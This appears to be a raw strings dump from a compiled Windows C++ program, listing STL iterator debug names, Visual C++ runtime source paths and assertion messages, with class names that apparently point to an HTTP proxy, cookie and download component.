std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,1> > >::operator   
std::vector<class CachedBuffer,class std::allocator<class CachedBuffer> >::operator []
std::_List_const_iterator<class std::_List_val<class HttpProxyRemote *,class std::allocator<class HttpProxyRemote *> > >::operator   
std::_List_const_iterator<class std::_List_val<class HttpProxyRemote *,class std::allocator<class HttpProxyRemote *> > >::operator ==
std::_List_const_iterator<class std::_List_val<enum FileDownloadMgr::WORKING_THREAD_COMMAND,class std::allocator<enum FileDownloadMgr::WORKING_THREAD_COMMAND> > >::operator   
std::_List_const_iterator<class std::_List_val<enum FileDownloadMgr::WORKING_THREAD_COMMAND,class std::allocator<enum FileDownloadMgr::WORKING_THREAD_COMMAND> > >::operator ==
std::_Deque_const_iterator<class RequestInfo *,class std::allocator<class RequestInfo *> >::operator *
std::_List_const_iterator<class std::_List_val<class HttpProxyRemote *,class std::allocator<class HttpProxyRemote *> > >::operator *
std::_List_const_iterator<class std::_List_val<enum FileDownloadMgr::WORKING_THREAD_COMMAND,class std::allocator<enum FileDownloadMgr::WORKING_THREAD_COMMAND> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class HttpCookie *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class HttpCookie *> >,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::list<class HttpCookie *,class std::allocator<class HttpCookie *> >,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::list<class HttpCookie *,class std::allocator<class HttpCookie *> > > >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::list<class HttpCookie *,class std::allocator<class HttpCookie *> >,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::list<class HttpCookie *,class std::allocator<class HttpCookie *> > > >,0> > >::operator ==
std::_List_const_iterator<class std::_List_val<class HttpCookie *,class std::allocator<class HttpCookie *> > >::operator   
std::_List_const_iterator<class std::_List_val<class HttpCookie *,class std::allocator<class HttpCookie *> > >::operator ==
std::_List_const_iterator<class std::_List_val<class HttpCookie *,class std::allocator<class HttpCookie *> > >::operator --
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::list<class HttpCookie *,class std::allocator<class HttpCookie *> >,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::list<class HttpCookie *,class std::allocator<class HttpCookie *> > > >,0> > >::operator   
std::_List_const_iterator<class std::_List_val<class HttpCookie *,class std::allocator<class HttpCookie *> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class HttpCookie *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class HttpCookie *> >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::list<class HttpCookie *,class std::allocator<class HttpCookie *> >,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::list<class HttpCookie *,class std::allocator<class HttpCookie *> > > >,0> > >::operator --
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class HttpCookie *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class HttpCookie *> >,0> > >::operator --
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class HttpCookie *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class HttpCookie *> >,0> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class EventImplTable,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class EventImplTable> >,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class EventImplTable,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class EventImplTable> >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class EventImplTable,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class EventImplTable> >,0> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class EventImplTable,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class EventImplTable> >,0> > >::operator --
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class IProxyExtension *,struct std::less<int>,class std::allocator<struct std::pair<int const ,class IProxyExtension *> >,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class IProxyExtension *,struct std::less<int>,class std::allocator<struct std::pair<int const ,class IProxyExtension *> >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class IProxyExtension *,struct std::less<int>,class std::allocator<struct std::pair<int const ,class IProxyExtension *> >,0> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class IProxyExtension *,struct std::less<int>,class std::allocator<struct std::pair<int const ,class IProxyExtension *> >,0> > >::operator --
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class CNetworkInterfaceManager::InterfaceInfo *,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class CNetworkInterfaceManager::InterfaceInfo *> >,0> > >::operator ==
std::_List_const_iterator<class std::_List_val<class INetworkInterfaceEvents *,class std::allocator<class INetworkInterfaceEvents *> > >::operator   
std::_List_const_iterator<class std::_List_val<class INetworkInterfaceEvents *,class std::allocator<class INetworkInterfaceEvents *> > >::operator ==
std::_List_const_iterator<class std::_List_val<class INetworkInterfaceEvents *,class std::allocator<class INetworkInterfaceEvents *> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class CNetworkInterfaceManager::InterfaceInfo *,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class CNetworkInterfaceManager::InterfaceInfo *> >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class CNetworkInterfaceManager::InterfaceInfo *,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class CNetworkInterfaceManager::InterfaceInfo *> >,0> > >::operator --
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class CNetworkInterfaceManager::InterfaceInfo *,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class CNetworkInterfaceManager::InterfaceInfo *> >,0> > >::operator   
std::_Deque_const_iterator<enum LightXML::ParseState,class std::allocator<enum LightXML::ParseState> >::operator *
std::_Deque_const_iterator<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,class std::allocator<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >::operator *
std::_List_const_iterator<class std::_List_val<class CHttpCacheData *,class std::allocator<class CHttpCacheData *> > >::operator   
std::_List_const_iterator<class std::_List_val<class CHttpCacheData *,class std::allocator<class CHttpCacheData *> > >::operator ==
std::_List_const_iterator<class std::_List_val<class CHttpCacheData *,class std::allocator<class CHttpCacheData *> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class SubjectDataProperty,struct std::less<int>,class std::allocator<struct std::pair<int const ,class SubjectDataProperty> >,0> > >::operator ==
std::_List_const_iterator<class std::_List_val<class SubjectDataProperty,class std::allocator<class SubjectDataProperty> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class IObserver *,class IObserver *,struct std::less<class IObserver *>,class std::allocator<struct std::pair<class IObserver * const,class IObserver *> >,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class SubjectDataProperty,struct std::less<int>,class std::allocator<struct std::pair<int const ,class SubjectDataProperty> >,0> > >::operator *
std::_List_const_iterator<class std::_List_val<class SubjectDataProperty,class std::allocator<class SubjectDataProperty> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class IObserver *,class IObserver *,struct std::less<class IObserver *>,class std::allocator<struct std::pair<class IObserver * const,class IObserver *> >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class SubjectDataProperty,struct std::less<int>,class std::allocator<struct std::pair<int const ,class SubjectDataProperty> >,0> > >::operator   
std::_List_const_iterator<class std::_List_val<class SubjectDataProperty,class std::allocator<class SubjectDataProperty> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class IObserver *,class IObserver *,struct std::less<class IObserver *>,class std::allocator<struct std::pair<class IObserver * const,class IObserver *> >,0> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class SubjectDataProperty,struct std::less<int>,class std::allocator<struct std::pair<int const ,class SubjectDataProperty> >,0> > >::operator --
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class IObserver *,class IObserver *,struct std::less<class IObserver *>,class std::allocator<struct std::pair<class IObserver * const,class IObserver *> >,0> > >::operator --
std::_List_const_iterator<class std::_List_val<class ICacheWorker *,class std::allocator<class ICacheWorker *> > >::operator ==
std::_List_const_iterator<class std::_List_val<class ICacheWorker *,class std::allocator<class ICacheWorker *> > >::operator   
std::_List_const_iterator<class std::_List_val<class ICacheWorker *,class std::allocator<class ICacheWorker *> > >::operator --
std::_List_const_iterator<class std::_List_val<class ICacheWorker *,class std::allocator<class ICacheWorker *> > >::operator *
std::_List_const_iterator<class std::_List_val<class JobInfo *,class std::allocator<class JobInfo *> > >::operator   
std::_List_const_iterator<class std::_List_val<class JobInfo *,class std::allocator<class JobInfo *> > >::operator ==
std::_List_const_iterator<class std::_List_val<class JobInfo *,class std::allocator<class JobInfo *> > >::operator --
std::_List_const_iterator<class std::_List_val<class JobInfo *,class std::allocator<class JobInfo *> > >::operator *
std::_List_const_iterator<class std::_List_val<class CConnectionsManagerSocket *,class std::allocator<class CConnectionsManagerSocket *> > >::operator   
std::_List_const_iterator<class std::_List_val<class CConnectionsManagerSocket *,class std::allocator<class CConnectionsManagerSocket *> > >::operator ==
std::_List_const_iterator<class std::_List_val<class CConnectionsManagerSocket *,class std::allocator<class CConnectionsManagerSocket *> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class AccelerationData *,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class AccelerationData *> >,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class AccelerationData *,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class AccelerationData *> >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,unsigned int,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,unsigned int> >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,unsigned int,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,unsigned int> >,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class AccelerationData *,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class AccelerationData *> >,0> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,unsigned int,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,unsigned int> >,0> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class AccelerationData *,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class AccelerationData *> >,0> > >::operator --
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,unsigned int,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,unsigned int> >,0> > >::operator --
f:\dd\vctools\crt_bld\self_x86\crt\src\xstring
f:\dd\vctools\crt_bld\self_x86\crt\src\streambuf
std::_String_const_iterator<wchar_t,struct std::char_traits<wchar_t>,class std::allocator<wchar_t> >::operator   
std::_String_const_iterator<unsigned short,struct std::char_traits<unsigned short>,class std::allocator<unsigned short> >::operator *
std::_String_const_iterator<unsigned short,struct std::char_traits<unsigned short>,class std::allocator<unsigned short> >::operator   
std::_String_const_iterator<wchar_t,struct std::char_traits<wchar_t>,class std::allocator<wchar_t> >::operator  =
std::_String_const_iterator<unsigned short,struct std::char_traits<unsigned short>,class std::allocator<unsigned short> >::operator  =
cf:\dd\vctools\crt_bld\self_x86\crt\src\dbgdel.cpp
f:\dd\vctools\crt_bld\self_x86\crt\src\sprintf.c
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
_CrtCheckMemory()
_CrtIsValidHeapPointer(pUserData)
_CrtSetDbgFlag
(fNewBits==_CRTDBG_REPORT_FLAG) || ((fNewBits & 0x0ffff & ~(_CRTDBG_ALLOC_MEM_DF | _CRTDBG_DELAY_FREE_MEM_DF | _CRTDBG_CHECK_ALWAYS_DF | _CRTDBG_CHECK_CRT_DF | _CRTDBG_LEAK_CHECK_DF) ) == 0)
_CrtMemCheckpoint
f:\dd\vctools\crt_bld\self_x86\crt\src\printf.c
f:\dd\vctools\crt_bld\self_x86\crt\src\fopen.c
f:\dd\vctools\crt_bld\self_x86\crt\src\fread.c
-f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrpt.c
wcscpy_s(szOutMessage, 4096, L"_CrtDbgReport: String too long or IO Error")
memcpy_s(szShortProgName, sizeof(TCHAR) * (260 - (szShortProgName - szExeName)), dotdotdot, sizeof(TCHAR) * 3)
wcscpy_s(szExeName, 260, L"<program name unknown>")
__crtMessageWindowW
f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c
f:\dd\vctools\crt_bld\self_x86\crt\src\malloc.h
("Corrupted pointer passed to _freea", 0)
f:\dd\vctools\crt_bld\self_x86\crt\src\fclose.c
mscoree.dll
f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbcpy.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mbsrchr.c
f:\dd\vctools\crt_bld\self_x86\crt\src\vsprintf.c
f:\dd\vctools\crt_bld\self_x86\crt\src\gmtime64.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mbschr.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mbscmp.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mbsncmp.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mbsncpy.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbcat.c
f:\dd\vctools\crt_bld\self_x86\crt\src\tcscpy_s.inl
f:\dd\vctools\crt_bld\self_x86\crt\src\mbsstr.c
f:\dd\vctools\crt_bld\self_x86\crt\src\strlwr.c
f:\dd\vctools\crt_bld\self_x86\crt\src\wcsicmp.c
f:\dd\vctools\crt_bld\self_x86\crt\src\stricmp.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mbsicmp.c
f:\dd\vctools\crt_bld\self_x86\crt\src\strnicmp.c
f:\dd\vctools\crt_bld\self_x86\crt\src\feoferr.c
f:\dd\vctools\crt_bld\self_x86\crt\src\fwrite.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mktime64.c
f:\dd\vctools\crt_bld\self_x86\crt\src\sscanf.c
f:\dd\vctools\crt_bld\self_x86\crt\src\loctim64.c
f:\dd\vctools\crt_bld\self_x86\crt\src\ftell.c
f:\dd\vctools\crt_bld\self_x86\crt\src\fseek.c
f:\dd\vctools\crt_bld\self_x86\crt\src\access.c
f:\dd\vctools\crt_bld\self_x86\crt\src\fputc.c
f:\dd\vctools\crt_bld\self_x86\crt\src\fprintf.c
f:\dd\vctools\crt_bld\self_x86\crt\src\fdopen.c
f:\dd\vctools\crt_bld\self_x86\crt\src\memicmp.c
f:\dd\vctools\crt_bld\self_x86\crt\src\strtol.c
f:\dd\vctools\crt_bld\self_x86\crt\src\bsearch.c
f:\dd\vctools\crt_bld\self_x86\crt\src\stat64.c
f:\dd\vctools\crt_bld\self_x86\crt\src\tcsncpy_s.inl
f:\dd\vctools\crt_bld\self_x86\crt\src\tcscat_s.inl
f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbcmp.c
f:\dd\vctools\crt_bld\self_x86\crt\src\fgets.c
strcpy_s(errmsg, (94 38 2), _get_sys_err_msg(errnum))
.sizeInTChars > 0
f:\dd\vctools\crt_bld\self_x86\crt\src\memmove_s.c
f:\dd\vctools\crt_bld\self_x86\crt\src\xtoa.c
f:\dd\vctools\crt_bld\self_x86\crt\src\strtod.c
f:\dd\vctools\crt_bld\self_x86\crt\src\a_cmp.c
("Invalid MBCS character sequence passed to strftime",0)
("Invalid MBCS character sequence passed into strftime",0)
f:\dd\vctools\crt_bld\self_x86\crt\src\memcpy_s.c
- Attempt to initialize the CRT more than once.
- CRT not initialized
- floating point support not loaded
wcscat_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), error_text)
wcscat_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), L"\n\n")
wcscpy_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), L"Runtime Error!\n\nProgram: ")
_NMSG_WRITE
f:\dd\vctools\crt_bld\self_x86\crt\src\crt0msg.c
f:\dd\vctools\crt_bld\self_x86\crt\prebuild\eh\typname.cpp
f:\dd\vctools\crt_bld\self_x86\crt\src\_flsbuf.c
strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error")
strcpy_s(szExeName, 260, "<program name unknown>")
__crtMessageWindowA
f:\dd\vctools\crt_bld\self_x86\crt\src\expand.c
f:\dd\vctools\crt_bld\self_x86\crt\src\localref.c
((ptloci->lc_category[category].wlocale != NULL) && (ptloci->lc_category[category].wrefcount != NULL)) || ((ptloci->lc_category[category].wlocale == NULL) && (ptloci->lc_category[category].wrefcount == NULL))
KERNEL32.DLL
f:\dd\vctools\crt_bld\self_x86\crt\src\isctype.c
f:\dd\vctools\crt_bld\self_x86\crt\src\_open.c
f:\dd\vctools\crt_bld\self_x86\crt\src\_filbuf.c
f:\dd\vctools\crt_bld\self_x86\crt\src\fileno.c
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrptt.c
wcscpy_s(szOutMessage2, 4096, L"_CrtDbgReport: String too long or Invalid characters in String")
strcpy_s(szUserMessage, 4096, "_CrtDbgReport: String too long or IO Error")
_VCrtDbgReportA
strcpy_s(szOutMessage2, 4096, "_CrtDbgReport: String too long or Invalid characters in String")
wcscpy_s(szUserMessage, 4096, L"_CrtDbgReport: String too long or IO Error")
_VCrtDbgReportW
f:\dd\vctools\crt_bld\self_x86\crt\src\winsig.c
WUSER32.DLL
f:\dd\vctools\crt_bld\self_x86\crt\src\close.c
f:\dd\vctools\crt_bld\self_x86\crt\src\_freebuf.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mbstok_s.inl
f:\dd\vctools\crt_bld\self_x86\crt\src\strtoq.c
f:\dd\vctools\crt_bld\self_x86\crt\src\intel\fp8.c
f:\dd\vctools\crt_bld\self_x86\crt\prebuild\conv\cvt.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mbsbtype.c
f:\dd\vctools\crt_bld\self_x86\crt\src\write.c
f:\dd\vctools\crt_bld\self_x86\crt\src\commit.c
f:\dd\vctools\crt_bld\self_x86\crt\src\timeset.c
f:\dd\vctools\crt_bld\self_x86\crt\prebuild\include\strgtold12.inl
f:\dd\vctools\crt_bld\self_x86\crt\src\lseek.c
f:\dd\vctools\crt_bld\self_x86\crt\src\fstat64.c
f:\dd\vctools\crt_bld\self_x86\crt\src\open.c
0 && "Only UTF-16 little endian & UTF-8 is supported for reads"
f:\dd\vctools\crt_bld\self_x86\crt\src\dtoxtm64.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mbscspn.c
f:\dd\vctools\crt_bld\self_x86\crt\src\fullpath.c
f:\dd\vctools\crt_bld\self_x86\crt\src\getqloc.c
f:\dd\vctools\crt_bld\self_x86\crt\src\errmode.c
f:\dd\vctools\crt_bld\self_x86\crt\src\lseeki64.c
f:\dd\vctools\crt_bld\self_x86\crt\src\isatty.c
f:\dd\vctools\crt_bld\self_x86\crt\src\wctomb.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbicm.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mbstowcs.c
f:\dd\vctools\crt_bld\self_x86\crt\src\vswprint.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mbtowc.c
_loc_update.GetLocaleT()->locinfo->mb_cur_max == 1 || _loc_update.GetLocaleT()->locinfo->mb_cur_max == 2
f:\dd\vctools\crt_bld\self_x86\crt\src\strtok_s.inl
f:\dd\vctools\crt_bld\self_x86\crt\prebuild\tran\contrlfp.c
f:\dd\vctools\crt_bld\self_x86\crt\src\_fptostr.c
strcpy_s(resultstr, resultsize, autofos.man)
f:\dd\vctools\crt_bld\self_x86\crt\prebuild\conv\cfout.c
f:\dd\vctools\crt_bld\self_x86\crt\src\getenv.c
f:\dd\vctools\crt_bld\self_x86\crt\src\ungetc_nolock.inl
f:\dd\vctools\crt_bld\self_x86\crt\src\setmode.c
f:\dd\vctools\crt_bld\self_x86\crt\src\getcwd.c
f:\dd\vctools\crt_bld\self_x86\crt\prebuild\conv\x10fout.c
f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbico.c
f:\dd\vctools\crt_bld\self_x86\crt\src\strnicol.c
("CRT Logic error during setenv",0)
__crtsetenv
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISubject *,class ISubject *,struct std::less<class ISubject *>,class std::allocator<struct std::pair<class ISubject * const,class ISubject *> >,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISubject *,class ISubject *,struct std::less<class ISubject *>,class std::allocator<struct std::pair<class ISubject * const,class ISubject *> >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct ChangeManager::RegistrationDetails *,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,struct ChangeManager::RegistrationDetails *> >,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISubject *,class ISubject *,struct std::less<class ISubject *>,class std::allocator<struct std::pair<class ISubject * const,class ISubject *> >,0> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct ChangeManager::RegistrationDetails *,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,struct ChangeManager::RegistrationDetails *> >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct ChangeManager::RegistrationDetails *,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,struct ChangeManager::RegistrationDetails *> >,0> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISubject *,class ISubject *,struct std::less<class ISubject *>,class std::allocator<struct std::pair<class ISubject * const,class ISubject *> >,0> > >::operator --
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct ChangeManager::RegistrationDetails *,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,struct ChangeManager::RegistrationDetails *> >,0> > >::operator --
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<struct HKEY__ *,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<struct HKEY__ *>,class std::allocator<struct std::pair<struct HKEY__ * const,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<struct HKEY__ *,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<struct HKEY__ *>,class std::allocator<struct std::pair<struct HKEY__ * const,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator *
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<struct HKEY__ *,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<struct HKEY__ *>,class std::allocator<struct std::pair<struct HKEY__ * const,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<struct HKEY__ *,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<struct HKEY__ *>,class std::allocator<struct std::pair<struct HKEY__ * const,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator --
\\.\jsdrv1502
stproxy.cpp
%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xstring
%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\list
std::_List_const_iterator<class std::_List_val<struct json::Object::Member,class std::allocator<struct json::Object::Member> > >::operator ==
%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\vector
std::_Vector_const_iterator<class std::_Vector_val<struct json::Reader::Token,class std::allocator<struct json::Reader::Token> > >::operator *
std::_Vector_const_iterator<class std::_Vector_val<struct json::Reader::Token,class std::allocator<struct json::Reader::Token> > >::operator   
std::_String_const_iterator<char,struct std::char_traits<char>,class std::allocator<char> >::operator *
std::_String_const_iterator<char,struct std::char_traits<char>,class std::allocator<char> >::operator   
%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xtree
std::_List_const_iterator<class std::_List_val<struct json::Object::Member,class std::allocator<struct json::Object::Member> > >::operator --
std::_Deque_const_iterator<class json::UnknownElement,class std::allocator<class json::UnknownElement> >::operator *
std::_Vector_const_iterator<class std::_Vector_val<struct json::Reader::Token,class std::allocator<struct json::Reader::Token> > >::operator --
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tset_traits<char,struct std::less<char>,class std::allocator<char>,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISockEmulator *,class EmuSession *,struct std::less<class ISockEmulator *>,class std::allocator<struct std::pair<class ISockEmulator * const,class EmuSession *> >,0> > >::operator ==
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned __int64,class EmuSession *,struct std::less<unsigned __int64>,class std::allocator<struct std::pair<unsigned __int64 const ,class EmuSession *> >,0> > >::operator ==
std::_List_const_iterator<class std::_List_val<struct json::Object::Member,class std::allocator<struct json::Object::Member> > >::operator *
std::_List_const_iterator<class std::_List_val<struct json::Object::Member,class std::allocator<struct json::Object::Member> > >::operator   
std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISockEmulator *,class EmuSession *,struct std::less<class ISockEmulator *>,class std::allocator<struct std::pair<class ISockEmulator * const,class EmuSession *> >,0> > >::operator *
